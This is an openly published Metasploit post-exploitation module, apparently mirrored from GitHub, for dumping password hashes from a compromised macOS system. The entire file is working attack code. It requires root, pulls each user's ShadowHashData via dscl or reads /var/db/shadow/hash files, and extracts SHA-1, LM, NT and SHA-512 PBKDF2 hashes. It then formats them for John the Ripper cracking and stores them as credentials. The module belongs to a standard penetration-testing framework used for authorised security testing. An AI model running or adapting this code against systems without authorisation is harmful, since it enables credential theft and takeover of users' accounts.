Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/hashdump.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
# set of accounts to ignore while pilfering data
10
# OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
11
12
include Msf::Post::File
13
include Msf::Post::OSX::Priv
14
include Msf::Post::OSX::System
15
include Msf::Auxiliary::Report
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
22
'Description' => %q{
23
This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
24
versions 10.3 to 10.14.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Carlos Perez <carlos_perez[at]darkoperator.com>',
29
'hammackj <jacob.hammack[at]hammackj.com>',
30
'joev'
31
],
32
'Platform' => [ 'osx' ],
33
'SessionTypes' => %w[shell meterpreter],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
}
39
)
40
)
41
register_options([
42
OptRegexp.new('MATCHUSER', [
43
false,
44
'Only attempt to grab hashes for users whose name matches this regex'
45
])
46
])
47
end
48
49
def run
50
unless is_root?
51
fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
52
end
53
54
# iterate over all users
55
get_nonsystem_accounts.each do |user_info|
56
user = user_info['name']
57
next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)
58
59
print_status "Attempting to grab shadow for user #{user}..."
60
if gt_lion? # 10.8+
61
# pull the shadow from dscl
62
shadow_bytes = grab_shadow_blob(user)
63
next if shadow_bytes.blank?
64
65
# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
66
# Here we pull out the binary plist bytes and use built-in plutil to convert to xml
67
plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join
68
69
# encode the bytes as \x hex string, print using bash's echo, and pass to plutil
70
shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")
71
72
# read the plaintext xml
73
shadow_xml = REXML::Document.new(shadow_plist)
74
75
# parse out the different parts of sha512pbkdf2
76
dict = shadow_xml.elements[1].elements[1].elements[2]
77
entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
78
iterations = dict.elements[4].text.gsub(/\s+/, '')
79
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')
80
81
# PBKDF2 stored in <iterations, salt, entropy> format
82
decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
83
report_hash('SHA-512 PBKDF2', decoded_hash, user)
84
elsif lion? # 10.7
85
# pull the shadow from dscl
86
shadow_bytes = grab_shadow_blob(user)
87
next if shadow_bytes.blank?
88
89
# on 10.7 the ShadowHashData is stored in plaintext
90
hash_decoded = shadow_bytes.downcase
91
92
# Check if NT HASH is present
93
if hash_decoded =~ /4f1010/
94
report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
95
end
96
97
# slice out the sha512 hash + salt
98
# original regex left for historical purposes. During testing it was discovered that
99
# 4f110200 was also a valid end. Instead of looking for the end, since its a hash (known
100
# length) we can just set the length
101
# sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
102
sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]
103
report_hash('SHA-512', sha512, user)
104
else # 10.6 and below
105
# On 10.6 and below, SHA-1 is used for encryption
106
guid = if gte_leopard?
107
cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
108
elsif lte_tiger?
109
cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
110
end
111
112
# Extract the hashes
113
sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
114
nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
115
lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp
116
117
# Check that we have the hashes and save them
118
if sha1_hash !~ /0000000000000000000000000/
119
report_hash('SHA-1', sha1_hash, user)
120
end
121
if nt_hash !~ /000000000000000/
122
report_hash('NT', nt_hash, user)
123
end
124
if lm_hash !~ /0000000000000/
125
report_hash('LM', lm_hash, user)
126
end
127
end
128
end
129
end
130
131
private
132
133
# @return [Bool] system version is at least 10.5
134
def gte_leopard?
135
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5
136
end
137
138
# @return [Bool] system version is at least 10.8
139
def gt_lion?
140
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8
141
end
142
143
# @return [String] hostname
144
def host
145
session.session_host
146
end
147
148
# @return [Bool] system version is 10.7
149
def lion?
150
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7
151
end
152
153
# @return [Bool] system version is 10.4 or lower
154
def lte_tiger?
155
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4
156
end
157
158
# parse the dslocal plist in lion
159
def read_ds_xml_plist(plist_content)
160
doc = REXML::Document.new(plist_content)
161
keys = []
162
doc.elements.each('plist/dict/key') { |n| keys << n.text }
163
164
fields = {}
165
i = 0
166
doc.elements.each('plist/dict/array') do |element|
167
data = []
168
fields[keys[i]] = data
169
element.each_element('*') do |thing|
170
data_set = thing.text
171
if data_set
172
data << data_set.gsub("\n\t\t", '')
173
else
174
data << data_set
175
end
176
end
177
i += 1
178
end
179
return fields
180
end
181
182
# reports the hash info to metasploit backend
183
def report_hash(type, hash, user)
184
return unless hash.present?
185
186
print_good("#{type}:#{user}:#{hash}")
187
case type
188
when 'NT'
189
private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
190
private_type = :ntlm_hash
191
jtr_format = 'ntlm'
192
when 'LM'
193
private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
194
private_type = :ntlm_hash
195
jtr_format = 'lm'
196
when 'SHA-512 PBKDF2'
197
private_data = hash
198
private_type = :nonreplayable_hash
199
jtr_format = 'PBKDF2-HMAC-SHA512'
200
when 'SHA-512'
201
private_data = hash
202
private_type = :nonreplayable_hash
203
jtr_format = 'xsha512'
204
when 'SHA-1'
205
private_data = hash
206
private_type = :nonreplayable_hash
207
jtr_format = 'xsha'
208
end
209
create_credential(
210
jtr_format: jtr_format,
211
workspace_id: myworkspace_id,
212
origin_type: :session,
213
session_id: session_db_id,
214
post_reference_name: refname,
215
username: user,
216
private_data: private_data,
217
private_type: private_type
218
)
219
print_status('Credential saved in database.')
220
end
221
222
# @return [String] containing blob for ShadowHashData in user's plist
223
# @return [nil] if shadow is invalid
224
def grab_shadow_blob(user)
225
shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
226
return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'
227
228
# strip the other bytes
229
shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
230
end
231
232
# @return [String] version string (e.g. 10.8.5)
233
def ver_num
234
@ver_num ||= get_sysinfo['ProductVersion']
235
end
236
end
237
238